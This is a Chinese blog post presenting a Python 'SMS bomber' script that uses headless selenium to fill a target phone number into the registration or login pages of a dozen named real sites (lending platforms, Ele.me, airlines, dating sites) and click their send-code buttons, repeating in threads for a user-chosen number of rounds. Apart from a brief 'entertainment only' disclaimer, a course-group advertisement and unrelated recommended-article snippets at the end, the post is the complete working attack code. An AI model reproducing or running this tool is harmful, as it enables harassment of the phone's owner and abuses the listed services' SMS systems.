Python 实现短信轰炸机

Stella981
• 阅读 613

原理其实很简单,就是利用selenium包打开各种网站的注册页,输入轰炸的号码,实现轰炸。其实也算是利用了注册漏洞。申明:仅娱乐使用,禁止:u7981:️用于非法用途!若用于非法用途,后果及法律责任博主一律不承担

很多人学习python,不知道从何学起。
很多人学习python,掌握了基本语法过后,不知道在哪里寻找案例上手。
很多已经做案例的人,却不知道如何去学习更加高深的知识。
那么针对这三类人,我给大家提供一个好的学习平台,免费领取视频教程,电子书籍,以及课程的源代码!
QQ群:1097524789

1 from selenium import webdriver
  2 from selenium.webdriver import ActionChains 3 import time 4 import threading 5 6 #360借条 7 def send_360(phon_num): 8 option = webdriver.ChromeOptions() 9 option.add_argument('headless') 10 browser = webdriver.Chrome(chrome_options=option) 11 browser.get('https://www.360jie.com.cn/') 12 browser.find_element_by_name("mobile").send_keys(phon_num) 13 browser.find_element_by_id('btnSendCode1').click() 14 time.sleep(5) 15 browser.close() 16 17 #拍拍贷 18 def send_paipai(phon_num): 19 20 option = webdriver.ChromeOptions() 21 option.add_argument('headless') 22 browser = webdriver.Chrome(chrome_options=option) 23 key = "8263abd" 24 browser.get("https://account.ppdai.com/pc/login") 25 browser.find_element_by_class_name("login_toRegister").click() 26 browser.find_element_by_name("Mobile").send_keys(phon_num) 27 browser.find_element_by_name("Password").send_keys(key) 28 browser.find_element_by_id("getvefydata").click() 29 time.sleep(5) 30 browser.close() 31 32 #饿了么开放平台 33 def send_ele(phon_num): 34 option = webdriver.ChromeOptions() 35 option.add_argument('headless') 36 browser = webdriver.Chrome(chrome_options=option) 37 browser.get('https://open.shop.ele.me/openapi/register') 38 browser.find_element_by_class_name('el-checkbox__inner').click() 39 time.sleep(3) 40 browser.find_element_by_xpath("//*[@class='el-button btn-next-step el-button--primary']").click() 41 time.sleep(4) 42 browser.find_element_by_class_name('el-input__inner').send_keys(phon_num) 43 browser.find_element_by_class_name('btn-verifyCode').click() 44 time.sleep(4) 45 browser.close() 46 47 #瓜子二手车 48 def send_guazi(phon_num): 49 option = webdriver.ChromeOptions() 50 option.add_argument('headless') 51 browser = webdriver.Chrome() 52 browser.get('https://www.guazi.com/nanchong/') 53 time.sleep(1) 54 browser.find_element_by_xpath("//*[@class='close js-close-finance-pop']").click() 55 time.sleep(2) 56 browser.find_element_by_id('js-login-new').click() 57 time.sleep(1) 58 browser.find_element_by_name('phone').send_keys(phon_num) 59 time.sleep(1) 60 browser.find_element_by_class_name('get-code').click() 61 time.sleep(4) 62 browser.close() 63 64 #凤凰智信 65 def send_fenghuang(phon_num): 66 option = webdriver.ChromeOptions() 67 option.add_argument('headless') 68 browser = webdriver.Chrome(chrome_options=option) 69 browser.get('https://www.fengwd.com/') 70 time.sleep(1) 71 browser.find_element_by_xpath("//*[@class='top-bar-item login-tag']/a").click() 72 time.sleep(2) 73 browser.find_element_by_id('mobile_number').send_keys(phon_num) 74 browser.find_element_by_xpath("//*[@class='get-sms-captcha blue']").click() 75 time.sleep(4) 76 browser.close() 77 78 #众房宝 79 def send_zongfangbao(phon_num): 80 option = webdriver.ChromeOptions() 81 option.add_argument('headless') 82 browser = webdriver.Chrome(chrome_options=option) 83 browser.get('https://www.zonefang.com/member/common/register') 84 time.sleep(1) 85 browser.find_element_by_class_name('phone').send_keys(phon_num) 86 time.sleep(2) 87 browser.find_element_by_class_name('pwd').send_keys('123456ydsa') 88 time.sleep(1) 89 browser.find_element_by_xpath("//*[@class='send_msg hand']").click() 90 time.sleep(4) 91 browser.close() 92 93 #百合相亲网 94 def send_baihe(phon_num): 95 option = webdriver.ChromeOptions() 96 option.add_argument('headless') 97 browser = webdriver.Chrome(chrome_options=option) 98 browser.get('https://my.baihe.com/register/?spm=2.13.24.69.99') 99 time.sleep(1) 100 browser.find_element_by_id('account').send_keys(phon_num) 101 browser.find_element_by_id('mobileValiCode_btn').click() 102 time.sleep(4) 103 browser.close() 104 105 #四川航空 106 def send_sichuanair(phon_num): 107 option = webdriver.ChromeOptions() 108 option.add_argument('headless') 109 browser = webdriver.Chrome(chrome_options=option) 110 browser.get('http://flights.sichuanair.com/3uair/ibe/profile/createProfile.do') 111 browser.find_element_by_name('mobilePhone').send_keys(phon_num) 112 time.sleep(1) 113 browser.find_element_by_id('sendSmsCode').click() 114 time.sleep(6) 115 browser.close() 116 117 #昆明航空 118 def send_airkunming(phon_num): 119 option = webdriver.ChromeOptions() 120 option.add_argument('headless') 121 browser = webdriver.Chrome(chrome_options=option) 122 browser.get('https://www.airkunming.com/#/user/register') 123 browser.find_element_by_id('mobile').send_keys(phon_num) 124 time.sleep(1) 125 browser.find_element_by_xpath("//*[@class='sms-code']").click() 126 time.sleep(4) 127 browser.close() 128 129 #有赞开放平台 130 def send_youzan(phon_num): 131 option = webdriver.ChromeOptions() 132 option.add_argument('headless') 133 browser = webdriver.Chrome(chrome_options=option) 134 browser.get('https://console.youzanyun.com/register') 135 browser.find_element_by_xpath("//*[@class = 'zent-input phone']").send_keys(phon_num) 136 time.sleep(1) 137 browser.find_element_by_xpath("//*[@class = 'sms-btn']").click() 138 time.sleep(4) 139 browser.close() 140 141 #安徽相亲网 142 def send_anhuixiangiqn(phon_num): 143 option = webdriver.ChromeOptions() 144 option.add_argument('headless') 145 browser = webdriver.Chrome(chrome_options=option) 146 browser.get('http://www.ahxiangqin.cn/index.php?c=passport&a=reg') 147 browser.find_element_by_name('mobile').send_keys([phon_num]) 148 time.sleep(1) 149 #browser.find_element_by_class_name('action-send-mobile-code get').click() 150 browser.find_element_by_xpath("//*[@class = 'action-send-mobile-code get']").click() 151 time.sleep(4) 152 browser.close() 153 154 #我主良缘 155 def send_wozhuliangyuan(phon_num): 156 option = webdriver.ChromeOptions() 157 option.add_argument('headless') 158 browser = webdriver.Chrome(chrome_options=option) 159 browser.get('http://m.7799520.com/register.html') 160 browser.find_element_by_name('mobile').send_keys([phon_num]) 161 time.sleep(1) 162 bu = browser.find_elements_by_tag_name('button') 163 for i in bu: 164 i.click() 165 time.sleep(2) 166 browser.close() 167 168 if __name__ == "__main__": 169 phon_num = input('输入轰炸的手机号:') 170 run_roll = input('轰炸循环次数:') 171 run_roll = int(run_roll) 172 for _ in range(run_roll): 173 #threading.Thread(target = send_baihe(phon_num)).start() 174 threading.Thread(target = send_360(phon_num)).start() 175 #threading.Thread(target = send_paipai(phon_num)).start() 176 threading.Thread(target = send_ele(phon_num)).start() 177 #threading.Thread(target = send_guazi(phon_num)).start() 178 threading.Thread(target = send_fenghuang(phon_num)).start() 179 #threading.Thread(target = send_zongfangbao(phon_num)).start() 180 threading.Thread(target = send_sichuanair(phon_num)).start() 181 threading.Thread(target = send_airkunming(phon_num)).start() 182 threading.Thread(target = send_youzan(phon_num)).start() 183 threading.Thread(target = send_anhuixiangiqn(phon_num)).start() 184 threading.Thread(target = send_wozhuliangyuan(phon_num)).start() 185 time.sleep(4)
点赞
收藏
评论区
推荐文章
blmius blmius
3年前
MySQL:[Err] 1292 - Incorrect datetime value: ‘0000-00-00 00:00:00‘ for column ‘CREATE_TIME‘ at row 1
文章目录问题用navicat导入数据时,报错:原因这是因为当前的MySQL不支持datetime为0的情况。解决修改sql\mode:sql\mode:SQLMode定义了MySQL应支持的SQL语法、数据校验等,这样可以更容易地在不同的环境中使用MySQL。全局s
皕杰报表之UUID
​在我们用皕杰报表工具设计填报报表时,如何在新增行里自动增加id呢?能新增整数排序id吗?目前可以在新增行里自动增加id,但只能用uuid函数增加UUID编码,不能新增整数排序id。uuid函数说明:获取一个UUID,可以在填报表中用来创建数据ID语法:uuid()或uuid(sep)参数说明:sep布尔值,生成的uuid中是否包含分隔符'',缺省为
待兔 待兔
5个月前
手写Java HashMap源码
HashMap的使用教程HashMap的使用教程HashMap的使用教程HashMap的使用教程HashMap的使用教程22
Jacquelyn38 Jacquelyn38
3年前
2020年前端实用代码段,为你的工作保驾护航
有空的时候,自己总结了几个代码段,在开发中也经常使用,谢谢。1、使用解构获取json数据let jsonData  id: 1,status: "OK",data: 'a', 'b';let  id, status, data: number   jsonData;console.log(id, status, number )
Stella981 Stella981
3年前
Python之time模块的时间戳、时间字符串格式化与转换
Python处理时间和时间戳的内置模块就有time,和datetime两个,本文先说time模块。关于时间戳的几个概念时间戳,根据1970年1月1日00:00:00开始按秒计算的偏移量。时间元组(struct_time),包含9个元素。 time.struct_time(tm_y
Wesley13 Wesley13
3年前
mysql设置时区
mysql设置时区mysql\_query("SETtime\_zone'8:00'")ordie('时区设置失败,请联系管理员!');中国在东8区所以加8方法二:selectcount(user\_id)asdevice,CONVERT\_TZ(FROM\_UNIXTIME(reg\_time),'08:00','0
Wesley13 Wesley13
3年前
00:Java简单了解
浅谈Java之概述Java是SUN(StanfordUniversityNetwork),斯坦福大学网络公司)1995年推出的一门高级编程语言。Java是一种面向Internet的编程语言。随着Java技术在web方面的不断成熟,已经成为Web应用程序的首选开发语言。Java是简单易学,完全面向对象,安全可靠,与平台无关的编程语言。
Stella981 Stella981
3年前
Django中Admin中的一些参数配置
设置在列表中显示的字段,id为django模型默认的主键list_display('id','name','sex','profession','email','qq','phone','status','create_time')设置在列表可编辑字段list_editable
Wesley13 Wesley13
3年前
MySQL部分从库上面因为大量的临时表tmp_table造成慢查询
背景描述Time:20190124T00:08:14.70572408:00User@Host:@Id:Schema:sentrymetaLast_errno:0Killed:0Query_time:0.315758Lock_
Python进阶者 Python进阶者
11个月前
Excel中这日期老是出来00:00:00,怎么用Pandas把这个去除
大家好,我是皮皮。一、前言前几天在Python白银交流群【上海新年人】问了一个Pandas数据筛选的问题。问题如下:这日期老是出来00:00:00,怎么把这个去除。二、实现过程后来【论草莓如何成为冻干莓】给了一个思路和代码如下:pd.toexcel之前把这